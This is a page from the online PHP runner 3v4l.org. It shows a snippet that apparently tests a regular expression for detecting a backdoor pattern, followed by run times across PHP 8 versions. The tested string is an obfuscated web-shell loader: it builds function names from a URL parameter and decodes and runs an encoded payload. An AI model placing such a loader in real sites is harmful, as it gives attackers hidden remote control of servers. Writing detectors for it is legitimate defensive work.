3v4l.org

run code in 300+ PHP versions simultaneously
<?php $content = ' $key = $_GET["a"]; $fb010 = $key[9].$key[15].$key[5].$key[0].$key[8].$key[10].$key[7].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f3055 = $key[11].$key[1].$key[12].$key[3].$key[19].$key[4].$key[15].$key[20].$key[0]; $fef6c = $key[13].$key[15].$key[18].$key[16].$key[13].$key[4].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $fb5d6 = $key[6].$key[2].$key[3].$key[14].$key[0].$key[13].$key[20].$key[7].$key[16].$key[16].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f33f1 = $key[0].$key[14].$key[15].$key[4]; $f33f1($fb5d6($fef6c($f3055($fb010("M7U00/VQNXYKUjUzcDdSNTIz9QHygLSqqbOqiYFJmGmQZZhppKqRhZGqsbOqqZOqgSNQKZAEAA=="))))); '; function f($c) { preg_match("|\\$key|mis", $c, $m); var_export($m); } f($content);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0000.01416.58
8.3.60.0110.00718.43
8.3.50.0100.00718.56
8.3.40.0110.00320.08
8.3.30.0110.00318.71
8.3.20.0040.00424.18
8.3.10.0000.00824.66
8.3.00.0030.00526.16
8.2.190.0110.00318.41
8.2.180.0070.01025.92
8.2.170.0140.00718.96
8.2.160.0110.00422.96
8.2.150.0000.00725.66
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0000.00918.85
8.2.110.0060.00322.12
8.2.100.0080.00417.84
8.2.90.0080.00019.21
8.2.80.0040.00417.97
8.2.70.0050.00317.63
8.2.60.0070.00317.93
8.2.50.0050.00318.07
8.2.40.0060.00318.21
8.2.30.0030.00718.01
8.2.20.0050.00220.64
8.2.10.0050.00318.18
8.2.00.0050.00219.25
8.1.280.0070.00725.92
8.1.270.0080.00024.66
8.1.260.0090.00026.35
8.1.250.0080.00028.09
8.1.240.0030.00721.12
8.1.230.0070.00417.52
8.1.220.0050.00317.74
8.1.210.0040.00418.77
8.1.200.0000.00817.23
8.1.190.0030.00617.23
8.1.180.0040.00418.10
8.1.170.0030.00618.58
8.1.160.0000.00718.84
8.1.150.0000.00718.58
8.1.140.0000.00717.41
8.1.130.0090.00017.30
8.1.120.0070.00717.33
8.1.110.0150.00017.45
8.1.100.0000.00717.46
8.1.90.0080.00817.50
8.1.80.0080.00817.46
8.1.70.0120.00617.36
8.1.60.0120.00617.52
8.1.50.0100.00017.49
8.1.40.0000.01017.55
8.1.30.0070.00217.56
8.1.20.0000.00917.62
8.1.10.0030.00617.47
8.1.00.0060.00317.47
8.0.300.0000.00818.77
8.0.290.0000.00716.75
8.0.280.0030.00318.32
8.0.270.0040.00417.27
8.0.260.0060.00316.95
8.0.250.0070.00316.98
8.0.240.0070.00416.95
8.0.230.0090.00216.95
8.0.220.0040.00716.95
8.0.210.0100.00016.95
8.0.200.0080.00316.95
8.0.190.0000.01116.95
8.0.180.0070.00416.95
8.0.170.0050.00916.95
8.0.160.0120.00416.98
8.0.150.0050.00916.95
8.0.140.0080.00816.95
8.0.130.0110.00516.95
8.0.120.0140.00016.95
8.0.110.0120.00316.95
8.0.100.0030.00916.95
8.0.90.0150.00016.95
8.0.80.0090.00016.95
8.0.70.0040.00416.95
8.0.60.0090.00016.95
8.0.50.0090.00016.95
8.0.30.0090.00016.95
8.0.20.0000.00916.99
8.0.10.0040.00416.95

preferences:
18.92 ms | 401 KiB | 5 Q